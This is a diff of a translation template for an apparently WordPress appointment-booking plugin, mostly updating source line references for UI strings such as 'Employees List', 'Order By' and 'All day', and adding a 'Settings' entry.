 msgid "Employee Image"
 msgstr ""
 
 #: includes/divi/modules/EmployeeScheduleModule.php:20
 #: includes/elementor/widgets/EmployeeScheduleWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeScheduleShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13112
+#: assets/js/gutenberg-blocks.js:13113
 msgid "Employee Schedule"
 msgstr ""
 
 #: includes/divi/modules/EmployeeServicesListModule.php:20
 #: includes/elementor/widgets/EmployeeServicesListWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeServicesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12989
+#: assets/js/gutenberg-blocks.js:12990
 msgid "Employee Services List"
 msgstr ""
 
@@ -1741,7 +1700,7 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:25
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:29
 #: includes/shortcodes/EmployeesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:11692
+#: assets/js/gutenberg-blocks.js:11693
 msgid "Employees List"
 msgstr ""
 
@@ -1757,10 +1716,10 @@
 #: includes/shortcodes/LocationsListShortcode.php:41
 #: includes/shortcodes/ServiceCategoriesShortcode.php:43
 #: includes/shortcodes/ServicesListShortcode.php:41
-#: assets/js/gutenberg-blocks.js:11509
-#: assets/js/gutenberg-blocks.js:11804
-#: assets/js/gutenberg-blocks.js:12090
-#: assets/js/gutenberg-blocks.js:12408
+#: assets/js/gutenberg-blocks.js:11510
+#: assets/js/gutenberg-blocks.js:11805
+#: assets/js/gutenberg-blocks.js:12091
+#: assets/js/gutenberg-blocks.js:12409
 msgid "Show featured image."
 msgstr ""
 
@@ -1773,9 +1732,9 @@
 #: includes/shortcodes/EmployeesListShortcode.php:46
 #: includes/shortcodes/LocationsListShortcode.php:46
 #: includes/shortcodes/ServicesListShortcode.php:46
-#: assets/js/gutenberg-blocks.js:11517
-#: assets/js/gutenberg-blocks.js:11812
-#: assets/js/gutenberg-blocks.js:12416
+#: assets/js/gutenberg-blocks.js:11518
+#: assets/js/gutenberg-blocks.js:11813
+#: assets/js/gutenberg-blocks.js:12417
 msgid "Show post title."
 msgstr ""
 
@@ -1788,30 +1747,30 @@
 #: includes/shortcodes/EmployeesListShortcode.php:51
 #: includes/shortcodes/LocationsListShortcode.php:51
 #: includes/shortcodes/ServicesListShortcode.php:51
-#: assets/js/gutenberg-blocks.js:11525
-#: assets/js/gutenberg-blocks.js:11820
-#: assets/js/gutenberg-blocks.js:12424
+#: assets/js/gutenberg-blocks.js:11526
+#: assets/js/gutenberg-blocks.js:11821
+#: assets/js/gutenberg-blocks.js:12425
 msgid "Show post excerpt."
 msgstr ""
 
 #: includes/divi/modules/EmployeesListModule.php:57
 #: includes/elementor/widgets/EmployeesListWidget.php:74
 #: includes/shortcodes/EmployeesListShortcode.php:56
-#: assets/js/gutenberg-blocks.js:11533
+#: assets/js/gutenberg-blocks.js:11534
 msgid "Show contact information."
 msgstr ""
 
 #: includes/divi/modules/EmployeesListModule.php:67
 #: includes/elementor/widgets/EmployeesListWidget.php:84
 #: includes/shortcodes/EmployeesListShortcode.php:61
-#: assets/js/gutenberg-blocks.js:11541
+#: assets/js/gutenberg-blocks.js:11542
 msgid "Show social networks."
 msgstr ""
 
 #: includes/divi/modules/EmployeesListModule.php:77
 #: includes/elementor/widgets/EmployeesListWidget.php:94
 #: includes/shortcodes/EmployeesListShortcode.php:66
-#: assets/js/gutenberg-blocks.js:11549
+#: assets/js/gutenberg-blocks.js:11550
 msgid "Show additional information."
 msgstr ""
 
@@ -1819,7 +1778,7 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:107
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:60
 #: includes/shortcodes/EmployeesListShortcode.php:71
-#: assets/js/gutenberg-blocks.js:11558
+#: assets/js/gutenberg-blocks.js:11559
 msgid "Comma-separated slugs or IDs of employees that will be shown."
 msgstr ""
 
@@ -1833,8 +1792,8 @@
 #: includes/post-types/LocationPostType.php:77
 #: assets/js/analytics-page.js:33420
 #: assets/js/calendar-page.js:45397
-#: assets/js/gutenberg-blocks.js:11566
-#: assets/js/gutenberg-blocks.js:11828
+#: assets/js/gutenberg-blocks.js:11567
+#: assets/js/gutenberg-blocks.js:11829
 msgid "Locations"
 msgstr ""
 
@@ -1842,8 +1801,8 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:117
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:66
 #: includes/shortcodes/EmployeesListShortcode.php:76
-#: assets/js/gutenberg-blocks.js:11567
-#: assets/js/gutenberg-blocks.js:11829
+#: assets/js/gutenberg-blocks.js:11568
+#: assets/js/gutenberg-blocks.js:11830
 msgid "Comma-separated slugs or IDs of locations."
 msgstr ""
 
@@ -1856,9 +1815,9 @@
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:71
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:68
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:84
-#: assets/js/gutenberg-blocks.js:11575
-#: assets/js/gutenberg-blocks.js:11846
-#: assets/js/gutenberg-blocks.js:12500
+#: assets/js/gutenberg-blocks.js:11576
+#: assets/js/gutenberg-blocks.js:11847
+#: assets/js/gutenberg-blocks.js:12501
 msgid "Posts Per Page"
 msgstr ""
 
@@ -1876,10 +1835,10 @@
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:96
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:91
 #: includes/widgets/AppointmentFormWidget.php:237
-#: assets/js/gutenberg-blocks.js:11584
-#: assets/js/gutenberg-blocks.js:11855
-#: assets/js/gutenberg-blocks.js:12170
-#: assets/js/gutenberg-blocks.js:12509
+#: assets/js/gutenberg-blocks.js:11585
+#: assets/js/gutenberg-blocks.js:11856
+#: assets/js/gutenberg-blocks.js:12171
+#: assets/js/gutenberg-blocks.js:12510
 msgid "Columns Count"
 msgstr ""
 
@@ -1897,10 +1856,10 @@
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:92
 #: includes/shortcodes/AbstractPostsListShortcode.php:29
 #: includes/shortcodes/AbstractTermsListShortcode.php:30
-#: assets/js/gutenberg-blocks.js:11585
-#: assets/js/gutenberg-blocks.js:11856
-#: assets/js/gutenberg-blocks.js:12171
-#: assets/js/gutenberg-blocks.js:12510
+#: assets/js/gutenberg-blocks.js:11586
+#: assets/js/gutenberg-blocks.js:11857
+#: assets/js/gutenberg-blocks.js:12172
+#: assets/js/gutenberg-blocks.js:12511
 msgid "The number of columns in the grid."
 msgstr ""
 
@@ -1914,10 +1873,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:178
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:59
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:54
-#: assets/js/gutenberg-blocks.js:11594
-#: assets/js/gutenberg-blocks.js:11865
-#: assets/js/gutenberg-blocks.js:12180
-#: assets/js/gutenberg-blocks.js:12519
+#: assets/js/gutenberg-blocks.js:11595
+#: assets/js/gutenberg-blocks.js:11866
+#: assets/js/gutenberg-blocks.js:12181
+#: assets/js/gutenberg-blocks.js:12520
 msgid "Order By"
 msgstr ""
 
@@ -1931,10 +1890,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:182
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:39
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:40
-#: assets/js/gutenberg-blocks.js:11601
-#: assets/js/gutenberg-blocks.js:11872
-#: assets/js/gutenberg-blocks.js:12187
-#: assets/js/gutenberg-blocks.js:12526
+#: assets/js/gutenberg-blocks.js:11602
+#: assets/js/gutenberg-blocks.js:11873
+#: assets/js/gutenberg-blocks.js:12188
+#: assets/js/gutenberg-blocks.js:12527
 msgid "No order"
 msgstr ""
 
@@ -1945,9 +1904,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:124
 #: includes/elementor/widgets/ServicesListWidget.php:183
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:40
-#: assets/js/gutenberg-blocks.js:11604
-#: assets/js/gutenberg-blocks.js:11875
-#: assets/js/gutenberg-blocks.js:12529
+#: assets/js/gutenberg-blocks.js:11605
+#: assets/js/gutenberg-blocks.js:11876
+#: assets/js/gutenberg-blocks.js:12530
 msgid "Post ID"
 msgstr ""
 
@@ -1958,9 +1917,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:125
 #: includes/elementor/widgets/ServicesListWidget.php:184
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:41
-#: assets/js/gutenberg-blocks.js:11607
-#: assets/js/gutenberg-blocks.js:11878
-#: assets/js/gutenberg-blocks.js:12532
+#: assets/js/gutenberg-blocks.js:11608
+#: assets/js/gutenberg-blocks.js:11879
+#: assets/js/gutenberg-blocks.js:12533
 msgid "Post author"
 msgstr ""
 
@@ -1974,9 +1933,9 @@
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:49
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:49
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:42
-#: assets/js/gutenberg-blocks.js:11610
-#: assets/js/gutenberg-blocks.js:11881
-#: assets/js/gutenberg-blocks.js:12535
+#: assets/js/gutenberg-blocks.js:11611
+#: assets/js/gutenberg-blocks.js:11882
+#: assets/js/gutenberg-blocks.js:12536
 msgid "Post title"
 msgstr ""
 
@@ -1987,9 +1946,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:127
 #: includes/elementor/widgets/ServicesListWidget.php:186
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:43
-#: assets/js/gutenberg-blocks.js:11613
-#: assets/js/gutenberg-blocks.js:11884
-#: assets/js/gutenberg-blocks.js:12538
+#: assets/js/gutenberg-blocks.js:11614
+#: assets/js/gutenberg-blocks.js:11885
+#: assets/js/gutenberg-blocks.js:12539
 msgid "Post name (post slug)"
 msgstr ""
 
@@ -2000,9 +1959,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:128
 #: includes/elementor/widgets/ServicesListWidget.php:187
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:44
-#: assets/js/gutenberg-blocks.js:11616
-#: assets/js/gutenberg-blocks.js:11887
-#: assets/js/gutenberg-blocks.js:12541
+#: assets/js/gutenberg-blocks.js:11617
+#: assets/js/gutenberg-blocks.js:11888
+#: assets/js/gutenberg-blocks.js:12542
 msgid "Post date"
 msgstr ""
 
@@ -2013,9 +1972,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:129
 #: includes/elementor/widgets/ServicesListWidget.php:188
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:45
-#: assets/js/gutenberg-blocks.js:11619
-#: assets/js/gutenberg-blocks.js:11890
-#: assets/js/gutenberg-blocks.js:12544
+#: assets/js/gutenberg-blocks.js:11620
+#: assets/js/gutenberg-blocks.js:11891
+#: assets/js/gutenberg-blocks.js:12545
 msgid "Last modified date"
 msgstr ""
 
@@ -2026,9 +1985,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:130
 #: includes/elementor/widgets/ServicesListWidget.php:189
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:46
-#: assets/js/gutenberg-blocks.js:11622
-#: assets/js/gutenberg-blocks.js:11893
-#: assets/js/gutenberg-blocks.js:12547
+#: assets/js/gutenberg-blocks.js:11623
+#: assets/js/gutenberg-blocks.js:11894
+#: assets/js/gutenberg-blocks.js:12548
 msgid "Random order"
 msgstr ""
 
@@ -2039,9 +1998,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:131
 #: includes/elementor/widgets/ServicesListWidget.php:190
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:47
-#: assets/js/gutenberg-blocks.js:11625
-#: assets/js/gutenberg-blocks.js:11896
-#: assets/js/gutenberg-blocks.js:12550
+#: assets/js/gutenberg-blocks.js:11626
+#: assets/js/gutenberg-blocks.js:11897
+#: assets/js/gutenberg-blocks.js:12551
 msgid "Relevance"
 msgstr ""
 
@@ -2055,10 +2014,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:191
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:48
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:48
-#: assets/js/gutenberg-blocks.js:11628
-#: assets/js/gutenberg-blocks.js:11899
-#: assets/js/gutenberg-blocks.js:12211
-#: assets/js/gutenberg-blocks.js:12553
+#: assets/js/gutenberg-blocks.js:11629
+#: assets/js/gutenberg-blocks.js:11900
+#: assets/js/gutenberg-blocks.js:12212
+#: assets/js/gutenberg-blocks.js:12554
 msgid "Page order"
 msgstr ""
 
@@ -2069,9 +2028,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:133
 #: includes/elementor/widgets/ServicesListWidget.php:192
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:49
-#: assets/js/gutenberg-blocks.js:11631
-#: assets/js/gutenberg-blocks.js:11902
-#: assets/js/gutenberg-blocks.js:12556
+#: assets/js/gutenberg-blocks.js:11632
+#: assets/js/gutenberg-blocks.js:11903
+#: assets/js/gutenberg-blocks.js:12557
 msgid "Page order and post title"
 msgstr ""
 
@@ -2083,10 +2042,10 @@
 #: includes/elementor/widgets/LocationsListWidget.php:146
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:178
 #: includes/elementor/widgets/ServicesListWidget.php:206
-#: assets/js/gutenberg-blocks.js:11641
-#: assets/js/gutenberg-blocks.js:11912
-#: assets/js/gutenberg-blocks.js:12221
-#: assets/js/gutenberg-blocks.js:12569
+#: assets/js/gutenberg-blocks.js:11642
+#: assets/js/gutenberg-blocks.js:11913
+#: assets/js/gutenberg-blocks.js:12222
+#: assets/js/gutenberg-blocks.js:12570
 msgid "DESC"
 msgstr ""
 
@@ -2100,24 +2059,24 @@
 #: includes/elementor/widgets/ServicesListWidget.php:207
 #: includes/shortcodes/AbstractPostsListShortcode.php:42
 #: includes/shortcodes/AbstractTermsListShortcode.php:43
-#: assets/js/gutenberg-blocks.js:11644
-#: assets/js/gutenberg-blocks.js:11915
-#: assets/js/gutenberg-blocks.js:12224
-#: assets/js/gutenberg-blocks.js:12572
+#: assets/js/gutenberg-blocks.js:11645
+#: assets/js/gutenberg-blocks.js:11916
+#: assets/js/gutenberg-blocks.js:12225
+#: assets/js/gutenberg-blocks.js:12573
 msgid "ASC"
 msgstr ""
 
 #: includes/divi/modules/EmployeeSocialNetworksModule.php:20
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:25
 #: includes/shortcodes/single-employee/EmployeeSocialNetworksShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13481
+#: assets/js/gutenberg-blocks.js:13482
 msgid "Employee Social Networks"
 msgstr ""
 
 #: includes/divi/modules/EmployeeTitleModule.php:20
 #: includes/elementor/widgets/EmployeeTitleWidget.php:25
 #: includes/shortcodes/single-employee/EmployeeTitleShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12866
+#: assets/js/gutenberg-blocks.js:12867
 msgid "Employee Title"
 msgstr ""
 
@@ -2125,7 +2084,7 @@
 #: includes/elementor/widgets/LocationsListWidget.php:25
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:29
 #: includes/shortcodes/LocationsListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:11963
+#: assets/js/gutenberg-blocks.js:11964
 msgid "Locations List"
 msgstr ""
 
@@ -2147,9 +2106,9 @@
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:72
 #: includes/post-types/LocationPostType.php:124
 #: includes/post-types/ServicePostType.php:164
-#: assets/js/gutenberg-blocks.js:11837
-#: assets/js/gutenberg-blocks.js:12123
-#: assets/js/gutenberg-blocks.js:12482
+#: assets/js/gutenberg-blocks.js:11838
+#: assets/js/gutenberg-blocks.js:12124
+#: assets/js/gutenberg-blocks.js:12483
 msgid "Categories"
 msgstr ""
 
@@ -2165,9 +2124,9 @@
 #: includes/shortcodes/LocationsListShortcode.php:61
 #: includes/shortcodes/ServiceCategoriesShortcode.php:64
 #: includes/shortcodes/ServicesListShortcode.php:86
-#: assets/js/gutenberg-blocks.js:11838
-#: assets/js/gutenberg-blocks.js:12124
-#: assets/js/gutenberg-blocks.js:12483
+#: assets/js/gutenberg-blocks.js:11839
+#: assets/js/gutenberg-blocks.js:12125
+#: assets/js/gutenberg-blocks.js:12484
 msgid "Comma-separated slugs or IDs of categories that will be shown."
 msgstr ""
 
@@ -2177,26 +2136,26 @@
 #: includes/post-types/ServicePostType.php:149
 #: includes/post-types/ServicePostType.php:252
 #: includes/shortcodes/ServiceCategoriesShortcode.php:31
-#: assets/js/gutenberg-blocks.js:12272
+#: assets/js/gutenberg-blocks.js:12273
 msgid "Service Categories"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:37
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:53
-#: assets/js/gutenberg-blocks.js:12098
+#: assets/js/gutenberg-blocks.js:12099
 msgid "Show Services Count?"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:47
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:63
-#: assets/js/gutenberg-blocks.js:12106
+#: assets/js/gutenberg-blocks.js:12107
 msgid "Show Description?"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:57
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:73
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:56
-#: assets/js/gutenberg-blocks.js:12114
+#: assets/js/gutenberg-blocks.js:12115
 msgid "Parent"
 msgstr ""
 
@@ -2204,14 +2163,14 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:76
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:57
 #: includes/shortcodes/ServiceCategoriesShortcode.php:58
-#: assets/js/gutenberg-blocks.js:12115
+#: assets/js/gutenberg-blocks.js:12116
 msgid "Parent term slug or ID to retrieve direct-child terms from."
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:69
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:93
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:68
-#: assets/js/gutenberg-blocks.js:12132
+#: assets/js/gutenberg-blocks.js:12133
 msgid "Exclude Categories"
 msgstr ""
 
@@ -2219,21 +2178,21 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:96
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:69
 #: includes/shortcodes/ServiceCategoriesShortcode.php:69
-#: assets/js/gutenberg-blocks.js:12133
+#: assets/js/gutenberg-blocks.js:12134
 msgid "Comma-separated slugs or IDs of categories that will not be shown."
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:75
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:103
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:74
-#: assets/js/gutenberg-blocks.js:12141
+#: assets/js/gutenberg-blocks.js:12142
 msgid "Hide Empty"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:85
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:114
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:80
-#: assets/js/gutenberg-blocks.js:12150
+#: assets/js/gutenberg-blocks.js:12151
 msgid "Depth"
 msgstr ""
 
@@ -2241,14 +2200,14 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:115
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:81
 #: includes/shortcodes/ServiceCategoriesShortcode.php:79
-#: assets/js/gutenberg-blocks.js:12151
+#: assets/js/gutenberg-blocks.js:12152
 msgid "Display depth of child categories."
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:97
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:127
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:88
-#: assets/js/gutenberg-blocks.js:12160
+#: assets/js/gutenberg-blocks.js:12161
 msgid "Number"
 msgstr ""
 
@@ -2256,56 +2215,56 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:128
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:89
 #: includes/shortcodes/AbstractTermsListShortcode.php:24
-#: assets/js/gutenberg-blocks.js:12161
+#: assets/js/gutenberg-blocks.js:12162
 msgid "Maximum number of categories to show."
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:126
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:158
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:41
-#: assets/js/gutenberg-blocks.js:12190
+#: assets/js/gutenberg-blocks.js:12191
 msgid "Term name"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:127
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:159
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:42
-#: assets/js/gutenberg-blocks.js:12193
+#: assets/js/gutenberg-blocks.js:12194
 msgid "Term slug"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:128
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:160
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:43
-#: assets/js/gutenberg-blocks.js:12196
+#: assets/js/gutenberg-blocks.js:12197
 msgid "Term ID"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:129
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:161
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:44
-#: assets/js/gutenberg-blocks.js:12199
+#: assets/js/gutenberg-blocks.js:12200
 msgid "Parent ID"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:130
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:162
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:45
-#: assets/js/gutenberg-blocks.js:12202
+#: assets/js/gutenberg-blocks.js:12203
 msgid "Number of associated objects"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:131
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:163
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:46
-#: assets/js/gutenberg-blocks.js:12205
+#: assets/js/gutenberg-blocks.js:12206
 msgid "Keep the order of \"IDs\" parameter"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:132
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:164
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:47
-#: assets/js/gutenberg-blocks.js:12208
+#: assets/js/gutenberg-blocks.js:12209
 msgid "Term order"
 msgstr ""
 
@@ -2313,35 +2272,35 @@
 #: includes/elementor/widgets/ServicesListWidget.php:24
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:29
 #: includes/shortcodes/ServicesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12620
+#: assets/js/gutenberg-blocks.js:12621
 msgid "Services List"
 msgstr ""
 
 #: includes/divi/modules/ServicesListModule.php:57
 #: includes/elementor/widgets/ServicesListWidget.php:73
 #: includes/shortcodes/ServicesListShortcode.php:56
-#: assets/js/gutenberg-blocks.js:12432
+#: assets/js/gutenberg-blocks.js:12433
 msgid "Show service price."
 msgstr ""
 
 #: includes/divi/modules/ServicesListModule.php:67
 #: includes/elementor/widgets/ServicesListWidget.php:83
 #: includes/shortcodes/ServicesListShortcode.php:61
-#: assets/js/gutenberg-blocks.js:12440
+#: assets/js/gutenberg-blocks.js:12441
 msgid "Show service duration."
 msgstr ""
 
 #: includes/divi/modules/ServicesListModule.php:77
 #: includes/elementor/widgets/ServicesListWidget.php:93
 #: includes/shortcodes/ServicesListShortcode.php:66
-#: assets/js/gutenberg-blocks.js:12448
+#: assets/js/gutenberg-blocks.js:12449
 msgid "Show service capacity."
 msgstr ""
 
 #: includes/divi/modules/ServicesListModule.php:87
 #: includes/elementor/widgets/ServicesListWidget.php:103
 #: includes/shortcodes/ServicesListShortcode.php:71
-#: assets/js/gutenberg-blocks.js:12456
+#: assets/js/gutenberg-blocks.js:12457
 msgid "Show service employees."
 msgstr ""
 
@@ -2349,7 +2308,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:116
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:61
 #: includes/shortcodes/ServicesListShortcode.php:76
-#: assets/js/gutenberg-blocks.js:12465
+#: assets/js/gutenberg-blocks.js:12466
 msgid "Comma-separated slugs or IDs of services that will be shown."
 msgstr ""
 
@@ -2357,7 +2316,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:126
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:67
 #: includes/shortcodes/ServicesListShortcode.php:81
-#: assets/js/gutenberg-blocks.js:12474
+#: assets/js/gutenberg-blocks.js:12475
 msgid "Comma-separated slugs or IDs of employees that perform these services."
 msgstr ""
 
@@ -2365,10 +2324,41 @@
 #: includes/elementor/widgets/ServicesListWidget.php:143
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:78
 #: includes/post-types/ServicePostType.php:210
-#: assets/js/gutenberg-blocks.js:12491
+#: assets/js/gutenberg-blocks.js:12492
 msgid "Tags"
 msgstr ""
 
+#: includes/elementor/widgets/AppointmentFormWidget.php:71
+#: includes/elementor/widgets/EmployeeAdditionalInfoWidget.php:35
+#: includes/elementor/widgets/EmployeeContactsWidget.php:35
+#: includes/elementor/widgets/EmployeeContentWidget.php:35
+#: includes/elementor/widgets/EmployeeImageWidget.php:35
+#: includes/elementor/widgets/EmployeeScheduleWidget.php:35
+#: includes/elementor/widgets/EmployeeServicesListWidget.php:35
+#: includes/elementor/widgets/EmployeesListWidget.php:36
+#: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:36
+#: includes/elementor/widgets/EmployeeTitleWidget.php:36
+#: includes/elementor/widgets/LocationsListWidget.php:36
+#: includes/elementor/widgets/ServiceCategoriesWidget.php:35
+#: includes/elementor/widgets/ServicesListWidget.php:35
+#: includes/metaboxes/notification/NotificationSettingsMetabox.php:26
+#: templates/private/pages/wizard.php:12
+#: assets/js/gutenberg-blocks.js:3245
+#: assets/js/gutenberg-blocks.js:11507
+#: assets/js/gutenberg-blocks.js:11802
+#: assets/js/gutenberg-blocks.js:12088
+#: assets/js/gutenberg-blocks.js:12406
+#: assets/js/gutenberg-blocks.js:12687
+#: assets/js/gutenberg-blocks.js:12810
+#: assets/js/gutenberg-blocks.js:12933
+#: assets/js/gutenberg-blocks.js:13056
+#: assets/js/gutenberg-blocks.js:13179
+#: assets/js/gutenberg-blocks.js:13302
+#: assets/js/gutenberg-blocks.js:13425
+#: assets/js/gutenberg-blocks.js:13548
+msgid "Settings"
+msgstr ""
+
 #: includes/elementor/widgets/AppointmentFormWidget.php:202
 #: includes/metaboxes/shortcode/AppointmentFormLabelsMetabox.php:75
 #: includes/shortcodes/AppointmentFormShortcode.php:98
@@ -2464,7 +2454,7 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:105
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:75
 #: includes/shortcodes/ServiceCategoriesShortcode.php:74
-#: assets/js/gutenberg-blocks.js:12142
+#: assets/js/gutenberg-blocks.js:12143
 msgid "Hide terms not assigned to any posts."
 msgstr ""
 
@@ -2722,10 +2712,10 @@
 #: includes/emails/tags/booking/BookingLeftToPayTag.php:19
 #: templates/emails/admin/admin-approved-booking-email.php:29
 #: templates/emails/customer/customer-approved-payment-email.php:24
-#: assets/js/divi-modules.js:6018
-#: assets/js/elementor-widgets.js:6018
-#: assets/js/gutenberg-blocks.js:6457
-#: assets/js/public.js:6018
+#: assets/js/divi-modules.js:6019
+#: assets/js/elementor-widgets.js:6019
+#: assets/js/gutenberg-blocks.js:6458
+#: assets/js/public.js:6019
 msgid "Left to pay"
 msgstr ""
 
@@ -2945,11 +2935,11 @@
 #: templates/shortcodes/booking/step-cart.php:48
 #: templates/shortcodes/template-parts/booking-details.php:51
 #: assets/js/calendar-page.js:38070
-#: assets/js/divi-modules.js:2858
-#: assets/js/edit-post.js:4314
-#: assets/js/elementor-widgets.js:2858
+#: assets/js/divi-modules.js:2859
+#: assets/js/edit-post.js:4315
+#: assets/js/elementor-widgets.js:2859
 #: assets/js/gutenberg-blocks.js:431
-#: assets/js/public.js:2858
+#: assets/js/public.js:2859
 #: assets/js/widgets-manage-page.js:300
 msgid "Clients"
 msgstr ""
@@ -3011,13 +3001,13 @@
 #: includes/fields/complex/TimetableField.php:313
 #: includes/structures/TimePeriod.php:294
 #: assets/js/calendar-page.js:38145
-#: assets/js/divi-modules.js:3569
+#: assets/js/divi-modules.js:3570
 #: assets/js/edit-post.js:2101
-#: assets/js/edit-post.js:4846
-#: assets/js/edit-post.js:8800
-#: assets/js/elementor-widgets.js:3569
+#: assets/js/edit-post.js:4847
+#: assets/js/edit-post.js:8801
+#: assets/js/elementor-widgets.js:3570
 #: assets/js/gutenberg-blocks.js:1855
-#: assets/js/public.js:3569
+#: assets/js/public.js:3570
 #: assets/js/widgets-manage-page.js:1620
 msgid "All day"
 msgstr ""
@@ -3026,12 +3016,12 @@
 #: includes/fields/complex/DaysOffField.php:100
 #: templates/shortcodes/booking/cart/admin-cart-item.php:113
 #: templates/shortcodes/booking/step-cart.php:72
-#: assets/js/divi-modules.js:5975
+#: assets/js/divi-modules.js:5976
 #: assets/js/edit-post.js:2051
 #: assets/js/edit-post.js:2283
-#: assets/js/elementor-widgets.js:5975
-#: assets/js/gutenberg-blocks.js:6414
-#: assets/js/public.js:5975
+#: assets/js/elementor-widgets.js:5976
+#: assets/js/gutenberg-blocks.js:6415
+#: assets/js/public.js:5976
